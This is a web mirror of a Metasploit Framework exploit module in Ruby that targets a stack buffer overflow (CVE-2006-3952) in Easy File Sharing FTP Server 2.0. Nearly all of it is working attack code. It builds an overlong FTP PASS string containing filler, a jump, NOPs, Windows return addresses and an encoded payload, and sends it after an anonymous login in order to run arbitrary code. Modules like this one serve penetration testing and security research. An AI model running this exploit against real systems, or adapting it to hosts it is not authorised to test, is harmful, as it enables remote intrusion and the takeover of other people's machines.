Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/easyfilesharing_pass.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Ftp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Easy File Sharing FTP Server 2.0 PASS Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in the Easy File Sharing 2.0
18
service. By sending an overly long password, an attacker can execute
19
arbitrary code.
20
},
21
'Author' => 'MC',
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2006-3952' ],
25
[ 'OSVDB', '27646' ],
26
[ 'BID', '19243' ],
27
],
28
'Privileged' => true,
29
'DefaultOptions' => {
30
'EXITFUNC' => 'thread',
31
},
32
'Payload' => {
33
'Space' => 600,
34
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
35
'StackAdjustment' => -3500,
36
},
37
'Platform' => 'win',
38
'Targets' => [
39
[ 'Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4 } ],
40
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
41
],
42
'DisclosureDate' => '2006-07-31',
43
'DefaultTarget' => 0,
44
'Notes' => {
45
'Reliability' => UNKNOWN_RELIABILITY,
46
'Stability' => UNKNOWN_STABILITY,
47
'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
}
49
)
50
)
51
end
52
53
def check
54
connect
55
disconnect
56
57
if (banner =~ /Easy File Sharing FTP Server/)
58
return Exploit::CheckCode::Detected
59
end
60
61
return Exploit::CheckCode::Safe
62
end
63
64
def exploit
65
connect
66
67
filler = rand_text_english(2559) + "\xeb\x12"
68
filler << make_nops(2) + [target.ret].pack('V')
69
70
sploit = "\x2c" + filler + payload.encoded
71
72
print_status("Trying target #{target.name}...")
73
74
# needs anonymous to be set.
75
send_cmd(['USER', "anonymous"], true)
76
send_cmd(['PASS', sploit], false)
77
78
handler
79
disconnect
80
end
81
end
82
83